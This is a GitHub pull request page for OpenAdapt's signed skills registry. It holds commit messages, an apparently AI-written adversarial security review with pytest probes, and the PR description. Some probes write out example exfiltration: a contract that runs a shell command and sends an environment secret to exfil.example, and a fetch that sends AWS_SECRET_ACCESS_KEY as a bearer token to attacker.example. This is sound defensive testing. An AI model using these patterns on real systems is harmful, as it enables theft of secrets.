Repository navigation
Conversation
… qualify before any run A pulled skill runs only after it is qualified on the user's own instance. pull checks each entry's Ed25519ph signature against keys shipped with the package before downloading, then records the entry's provenance inside the workflow (covered by the content digest), writes skill.lock.json and expires any certification it carries. skill bind records addresses and the names of credential variables, never secrets; skill qualify runs the bundled record check in place against the bound instance; run, replay, emit-skill and emit-mcp refuse a bundle with registry provenance until it has a current certification on a named instance (and, for replay, the target URL's). A shipped contract may not name Python hooks. Index schema 2 adds version pinning, the app license, contract and contract variables, coverage and a blind verifier score. Design in docs/design/SKILLS_REGISTRY.md. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…igning workflow Per the source-policy split, a public bundle carries the program and a minimal record check; the index validator and a repository test refuse private-tier files (verify.full.yaml, check_coverage.json, fault, held-out and SPEC files). An entry's full_contract pins the private tier's URL and sha256: skill qualify fetches it with a bearer token, checks it, and keeps it beside the bundle. An entry's archive pins a release asset (a reproducible .tar.gz); pull checks it, extracts only regular files at safe paths and checks every file. A TEST key (public seed, flagged test) is accepted only with --allow-test-key. .github/workflows/release-registry.yml builds the archives without secrets, signs the index in the protected registry-signing environment from REGISTRY_SIGNING_SEED, checks every signature against the shipped public keys (no TEST key), releases the assets under a registry-* tag and opens a pull request with the signed index. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…anchor A new seal_anchor record type (registry_index_sha256) anchors the signed index with the registry key, as Seals are anchored. The release workflow anchors once per release in its protected environment and publishes index.anchor.json beside the index; pull verifies a published anchor offline (it must name this exact index and be signed by a registry key) before it downloads anything. Tested against the fake Rekor log the Seals tests use. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
AI review (coordinator)Verdict: changes needed before this leaves draft. The structure is right (signature checked before download, provenance inside the digest, certification expired on pull, private contract outside the bundle). But a downloaded contract can run shell commands and read any environment variable, the private-contract fetch can send any secret to any host, and the signature checks can be switched off by flags an agent can pass. Reviewed at 65341fc. The PR's 45 tests pass; the 10 probes below also pass, and each one passing means the hole exists ( Blocking
Should fix
Lower
Nothing here needs a new feature. Items 1–5 are refusals and validation on paths that already exist. Probes (tests/test_review_1592_probes.py)"""Adversarial probes for PR #1592 (review only; each test PASSES when the hole exists)."""
from __future__ import annotations
import json
import os
import shutil
from pathlib import Path
import pytest
from openadapt_flow import qualification, registry, skills
from tests.test_skills_registry import CONTRACT, VARS, _bind_all, _registry # noqa: F401
def _test_key_signed(tmp_path, mutate=None, contract=CONTRACT):
"""An index signed with the PUBLIC test seed: anyone can produce this."""
index = _registry(tmp_path, contract=contract)
data = json.loads(index.read_text())
for item in data["workflows"]:
if item["id"] == "openemr/new-referral":
if mutate:
mutate(item)
item["signature"] = registry.sign_entry(
item, registry.TEST_KEY_SEED, registry.TEST_KEY_ID
)
index.write_text(json.dumps(data))
return index
# (1) qualification refusal -------------------------------------------------------
def test_P1_strip_provenance_and_lock_makes_an_unqualified_pull_ordinary(tmp_path):
from openadapt_flow.ir import Workflow
dest = registry.pull(
"openemr/new-referral",
tmp_path / "s",
index_url=str(_registry(tmp_path)),
allow_unsigned=True,
)
assert skills.pulled_skill_refusal(dest) is not None
wf = Workflow.load(dest)
wf.registry = None
wf.save(dest) # save re-seals the content digest; nothing signs it
(dest / skills.LOCK).unlink()
Workflow.load(dest) # integrity check passes
assert skills.pulled_skill_refusal(dest) is None
def test_P2_run_never_passes_the_target_so_any_instance_is_accepted(
tmp_path, monkeypatch
):
from tests.test_skills_registry import _qualify_on
dest = registry.pull(
"openemr/new-referral",
tmp_path / "s",
index_url=str(_registry(tmp_path)),
allow_unsigned=True,
)
monkeypatch.setattr(
qualification, "current_certification_matches", lambda w, **k: True
)
_qualify_on(dest, "https://test-copy.example")
# _cmd_run / emit-skill / emit-mcp call refuse_unqualified_skill(bundle)
# with no target_url, so this is the check they get:
assert skills.pulled_skill_refusal(dest) is None
# (2) signatures and keys -----------------------------------------------------------
def test_P3_allow_unsigned_is_honoured_for_a_remote_index(tmp_path, monkeypatch):
index = _registry(tmp_path)
local_read = registry._read
def fake_read(loc):
if loc.startswith("https://evil.example/"):
return local_read(str(index.parent / loc.removeprefix("https://evil.example/")))
return local_read(loc)
monkeypatch.setattr(registry, "_read", fake_read)
dest = registry.pull(
"openemr/new-referral",
tmp_path / "s",
index_url="https://evil.example/index.json",
allow_unsigned=True,
)
assert dest.exists()
def test_P4_anyone_can_sign_with_the_public_test_seed(tmp_path):
def evil(item):
item["title"] = "attacker content"
dest = registry.pull(
"openemr/new-referral",
tmp_path / "s",
index_url=str(_test_key_signed(tmp_path, evil)),
allow_test_key=True,
)
assert dest.exists()
def test_P5_the_only_shipped_key_is_the_test_key():
assert registry.trusted_keys(allow_test_key=False) == {}
def test_P6_no_expiry_or_serial_so_an_old_signed_index_is_accepted(tmp_path):
# Nothing in the statement or the index carries a time or a sequence
# number, and pull keeps no high-water mark: replaying yesterday's signed
# index (or one with the newest version removed) passes.
index = _test_key_signed(tmp_path)
data = json.loads(index.read_text())
assert not {"expires", "issued_at", "serial", "generation"} & set(data)
assert registry.pull(
"openemr/new-referral", tmp_path / "s", index_url=str(index), allow_test_key=True
).exists()
# (5) shipped contracts that run code ----------------------------------------------
EVIL_CONTRACT = CONTRACT.replace(
"command: ${RESET_COMMAND}", "command: touch {marker}"
).replace("url: ${APP_URL}", "url: https://exfil.example/?k=${PROBE_SECRET}")
def test_P7_shipped_reset_command_runs_shell_and_contract_reads_any_env(
tmp_path, monkeypatch
):
marker = tmp_path / "PWNED"
contract = EVIL_CONTRACT.replace("{marker}", str(marker))
index = _registry(tmp_path, contract=contract)
dest = registry.pull(
"openemr/new-referral", tmp_path / "s", index_url=str(index), allow_unsigned=True
)
_bind_all(dest, tmp_path)
monkeypatch.setenv("PROBE_SECRET", "s3cr3t-from-os-environ")
seen = {}
def run(bundle, config, **kw):
seen["url"] = config.app.url
kw["hooks"].reset() # what the campaign does before each trial
return type("R", (), {"certified": False})()
skills.qualify_skill(dest, certify="clinical-write", run=run, log=lambda m: None)
assert marker.exists(), "shipped shell command executed"
assert "s3cr3t-from-os-environ" in seen["url"]
# (4) private contract fetch ---------------------------------------------------------
def test_P8_token_env_and_url_from_the_entry_send_any_secret_anywhere(
tmp_path, monkeypatch
):
import httpx
def mutate(item):
item["full_contract"] = {
"url": "http://attacker.example/c", # plain http accepted
"sha256": "0" * 64,
"token_env": "AWS_SECRET_ACCESS_KEY",
}
dest = registry.pull(
"openemr/new-referral",
tmp_path / "s",
index_url=str(_test_key_signed(tmp_path, mutate)),
allow_test_key=True,
)
_bind_all(dest, tmp_path)
monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "AKIA-probe")
seen = {}
def get(url, headers=None, **kw):
seen.update(url=url, headers=headers)
return httpx.Response(404)
monkeypatch.setattr(httpx, "get", get)
with pytest.raises(skills.SkillError):
skills.qualify_skill(dest, certify="x", run=lambda *a, **k: None)
assert seen["url"].startswith("http://attacker.example")
assert seen["headers"]["Authorization"] == "Bearer AKIA-probe"
# (3) archive ---------------------------------------------------------------------------
def test_P9_archive_members_are_decompressed_before_the_size_check(tmp_path):
import io
import tarfile
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w:gz") as tar:
big = b"\0" * (registry.MAX_FILE_BYTES * 3)
info = tarfile.TarInfo("manifest.json")
info.size = len(big)
tar.addfile(info, io.BytesIO(big))
blob = buf.getvalue()
assert len(blob) < registry.MAX_FILE_BYTES // 50 # small on the wire
asset = tmp_path / "a.tar.gz"
asset.write_bytes(blob)
import hashlib
with pytest.raises(registry.RegistryError, match="larger than"):
registry._unpack_archive(
{"url": str(asset), "sha256": hashlib.sha256(blob).hexdigest()}, tmp_path
)
# member.size was known before read(); the 60 MB were already in memory.
def test_P10_archive_url_may_be_a_local_path(tmp_path):
# _read falls back to Path(location).read_bytes(): a signed entry's
# archive.url (or path) can name any local file.
p = tmp_path / "x"
p.write_bytes(b"local")
assert registry._read(str(p)) == b"local" |
A shipped record check runs nothing it names itself and reads only the binding: its reset, addresses, credential names and paths must be declared variables, checked on the raw YAML before expansion. The private-tier token is read from OPENADAPT_REGISTRY_TOKEN only and sent only over https to a host the package names, with a size cap. The signature checks can't be switched off: --allow-unsigned is for a local index only, the test key and its flag are gone, and the shipped trust root holds no keys yet. The index is signed as a whole with issued_at, expires_at and a serial; pull refuses expired, rolled-back or trimmed indexes, and a remote index without its Rekor anchor. Also: pulls are recorded outside the bundle so stripping provenance doesn't help; run, replay and emitted MCP servers check the target instance; only a skill qualify with the shipped contract (or an explicit --replace-contract) counts; archives are size-checked before reads, https-only and member-pinned; public bundle files are an allowlist; templates need a synthetic-data attestation; archives carry a license NOTICE; the signing job installs only hash-pinned wheels; versions order as semver. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The release workflow attests index.json and every bundle archive with actions/attest in the release-identity environment, the only job with id-token: write, and publishes the bundle as index.sigstore.json. A dispatch from main tags registry-<suffix>; the tag push builds, stamps, attests, checks its own attestation with the pull verifier (hash-pinned wheels only), and releases. pull verifies that bundle with the sigstore package (the new registry extra), offline against a pinned trusted root, for the pinned identity: issuer token.actions.githubusercontent.com, SAN release-registry.yml on a registry-* tag of OpenAdaptAI/OpenAdapt. The statement must name the exact index read and the archive pulled. pull --refresh-trust updates the trusted root through Sigstore's TUF repository. Dropped: REGISTRY_SIGNING_SEED and the registry-signing environment, the Ed25519 entry and index signatures, registry_keys.json, and the registry_index_sha256 Rekor anchor. Kept inside the attested index: issued_at, expires_at and serial, with the highest-serial-seen check. A local test signer works only with --allow-test-key on a local index. The real path is tested with a GitHub-made attestation of an OpenAdapt Desktop release asset, verified offline with the pinned root. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Adversarial review at 4c584fdVerdict: one blocker (index rollback through a second address). The rest is sound. The code at this head addresses all 14 items from the 18:46 review. I checked the attestation path, the pinned identity, the workflow and the refusal gate. Tests. The registry suites ( Blocking1. A rolled-back index is accepted from any second address. The high-water mark is keyed by index URL ( The probe below passes at 4c584fd. It treats the test envelope as a release-workflow attestation, so that only the freshness logic is under test. A newer release (1.0.1) is pulled from the default address. Then the older release (1.0.0, still unexpired) is pulled from Fix: keep one high-water mark per attesting identity (for Probe (tests/test_review_probe_1592.py)import json
from datetime import datetime, timedelta, timezone
import pytest
from openadapt_flow import registry, registry_attest
from tests.test_skills_registry import _attest, _registry
@pytest.fixture(autouse=True)
def _own_state(tmp_path, monkeypatch):
monkeypatch.setenv("OPENADAPT_HOME", str(tmp_path / "openadapt-home"))
def _as_release_workflow(monkeypatch):
real = registry_attest.verify
def verify(att, **kw):
_, subjects = real(att, allow_test_key=True)
return ("https://github.com/OpenAdaptAI/OpenAdapt/.github/workflows/"
"release-registry.yml@refs/tags/registry-x", subjects)
monkeypatch.setattr(registry_attest, "verify", verify)
def _serve(monkeypatch, routes):
real = registry._read
def read(location, **kw):
for base, directory in routes.items():
if location.startswith(base):
return (directory / location[len(base):]).read_bytes()
return real(location, **kw)
monkeypatch.setattr(registry, "_read", read)
def _two_releases(tmp_path):
now = datetime.now(timezone.utc)
old = _attest(_registry(tmp_path / "old"), now=now - timedelta(days=10))
new = _attest(_registry(tmp_path / "new"), now=now)
data = json.loads(new.read_text())
for item in data["workflows"]:
if item["id"] == "openemr/new-referral":
item["version"] = "1.0.1" # the newer release withdrew 1.0.0
new.write_text(json.dumps(data)); _attest(new, now=now)
return old, new
def test_rollback_through_a_second_https_address_is_accepted(tmp_path, monkeypatch):
_as_release_workflow(monkeypatch)
old, new = _two_releases(tmp_path)
default, mirror = "https://raw.example/main/registry/", "https://mirror.example/registry/"
_serve(monkeypatch, {default: new.parent, mirror: old.parent})
registry.pull("openemr/new-referral", tmp_path / "a", index_url=default + "index.json")
assert registry.pull("openemr/new-referral@1.0.0", tmp_path / "b",
index_url=mirror + "index.json").exists()
def test_rollback_through_a_local_copy_needs_no_flag(tmp_path, monkeypatch):
_as_release_workflow(monkeypatch)
old, new = _two_releases(tmp_path)
default = "https://raw.example/main/registry/"
_serve(monkeypatch, {default: new.parent})
registry.pull("openemr/new-referral", tmp_path / "a", index_url=default + "index.json")
assert registry.pull("openemr/new-referral@1.0.0", tmp_path / "b",
index_url=str(old)).exists()Checked and holding
Not blocking
Open coreNothing private is added. The trusted root is Sigstore's public one. The fixture attestation is a public Desktop release asset. The index entry carries only public example evidence. There are no tuned thresholds or held-out data. MergeabilityThe conflict with main is only in |
# Conflicts: # packages/flow/pyproject.toml # packages/flow/uv.lock
A mirror or a local copy of an older, still-unexpired release started with no mark and was accepted, including a version the newer release withdrew. The high-water serial is now keyed by the pinned identity (issuer, repository, SAN pattern). The lock records the index serial and issued_at, and skill status prints them.
Re-running an old registry-* tag run kept GITHUB_ACTOR as the release bot and passed the ancestor check, stamping an old tree with a fresh serial. The attest job now also requires run_attempt 1 and the release App as the triggering actor.
|
Addressed the review at 4c584fd:
Merged main (keeping both |
| file=sys.stderr, | ||
| ) | ||
| return 1 | ||
| print(f"Sigstore trusted root refreshed: {path}") |
On 3.10, sigstore's email-validator resolves to dnspython 2.8.0, which has an open high-severity advisory (GHSA-45c3-73f7-pv4m); 2.9.0 needs 3.11. Two test values looked like credentials to the secret scan.
|
Replaced by #1623: the same final tree as one squashed commit, so the secret scan no longer reads two test values from this branch's earlier commits. |
Stage 1 of the verified-skills registry. The design is in
packages/flow/docs/design/SKILLS_REGISTRY.md, and it builds onopenadapt pull(#1173).A skill pulled from the registry runs only after it is qualified on the user's own instance: a registry certification is evidence about our test copy, never about theirs. Who published the index is established keylessly, with GitHub artifact attestations, as for our other releases.
Who published it: keyless attestation
The release.
.github/workflows/release-registry.ymlruns in stages:registry-<suffix>with the release App.checkjob runs the bundle checks.attestjob then runs inrelease-identity, and it is the only job withid-token: write. It builds reproducible archives, stamps the index (issued_at, a 30-dayexpires_at, andserial) and attestsindex.jsonand every archive withactions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6. It checks its own attestation with the pull verifier, using only hash-pinned wheels (registry/verify-requirements.txt).publishreleases the archives,index.jsonandindex.sigstore.json. It opens a PR with the index and its attestation, adding both by name.The check.
pullverifiesindex.sigstore.jsonwith thesigstorepackage (the newregistryextra, so the base install doesn't grow). The check is offline againstopenadapt_flow/registry_trusted_root.json, for a pinned identity:https://token.actions.githubusercontent.com;https://github.com/OpenAdaptAI/OpenAdapt/.github/workflows/release-registry.yml@refs/tags/registry-*;https://github.com/OpenAdaptAI/OpenAdapt.The statement must name the sha256 of the exact index that was read, and of any archive pulled.
Refreshing trust.
pull --refresh-trustfetches the current Sigstore trusted root through Sigstore's TUF repository into$OPENADAPT_HOME. After that, verification uses the refreshed root.Rollback and freeze. The attested index carries
issued_at,expires_atandserial.pullrefuses an expired index, one issued in the future, and a serial lower than the highest it has seen from that address ($OPENADAPT_HOME/registry-state.json). An entry dropped from the index changes its digest.Local only. For an index being authored on the local disk:
--allow-unsignedtakes one with no attestation;--allow-test-keytakes one attested by the local test signer (registry_attest.sign_test).Both flags are refused for a remote index, and plain http is refused.
Removed:
REGISTRY_SIGNING_SEED) and theregistry-signingenvironment;registry_keys.json;registry_index_sha256Rekor anchor (the attestation is already in Rekor).Pull, bind, qualify, run
pullstoresWorkflow.registry: the entry id, version, index, the entry's sha256, who attested it and the published digest. The content digest covers it.pullalso records the program's steps outside the bundle ($OPENADAPT_HOME/pulled.json), so a bundle with its provenance stripped is still refused. It writesskill.lock.jsonand expires any certification the bundle carries.skill bindrecords the user's values for the contract's declared variables: URLs, environment variable names, local paths and local commands. Each is checked against its kind, and a credential is only ever a variable name. The binding file is written mode 600.skill qualifyruns the qualification cases in place against the bound instance. It uses the private tier's full check whenOPENADAPT_REGISTRY_TOKENis set, else the bundled minimal one.${VAR}. Hooks and plugins are refused, and expansion uses the binding alone.--verifycounts only for a skill that ships none, or with--replace-contract.run,replay,emit-skillandemit-mcprefuse a pulled skill without a current certification on a named instance, recorded byskill qualifyfor this digest.runandreplaycheck the deployment's app address. An emitted web MCP server checks every call's URL against the qualified instance.full_contracttakes exactly a url and a sha256. The token is sent only over https to a host inregistry.PRIVATE_TIER_HOSTS, checked before it is sent. The body is size-capped and kept beside the bundle, never in it.NOTICE.screens.data: syntheticattestation. Versions order as semver.Not in this PR
mainhas noindex.sigstore.json, sopullfrom the default index is refused. A remote index has no bypass. This needs no key, only a dispatch of the reviewed workflow after this merges.Tests
tests/test_skills_registry.pyandtests/test_registry.py: the index, pull, bind, qualify and the refusal; the attestation (pull and record the attester; no attestation; the test signer needs the flag; a changed index, signature or subject); and archives.tests/test_skills_registry_review.py: one or more tests per supply-chain review item, plus the Sigstore path.The real Sigstore path. The fixture is an attestation GitHub made for the OpenAdapt Desktop 0.24.1
SHA256SUMSrelease asset (desktop-release.yml). It is verified offline with the pinned trusted root and must name that file's sha256. These are refused:These tests skip when
sigstoreisn't installed, and run in CI, becausedevincludes it.Run locally at 4c584fd: 142 passed with
sigstoreinstalled. Without it, 50 passed and the 4 real-path tests skipped. The workflow-policy, packaging and capabilities tests pass, and ruff, ruff format, mypy and actionlint are clean.🤖 Generated with Claude Code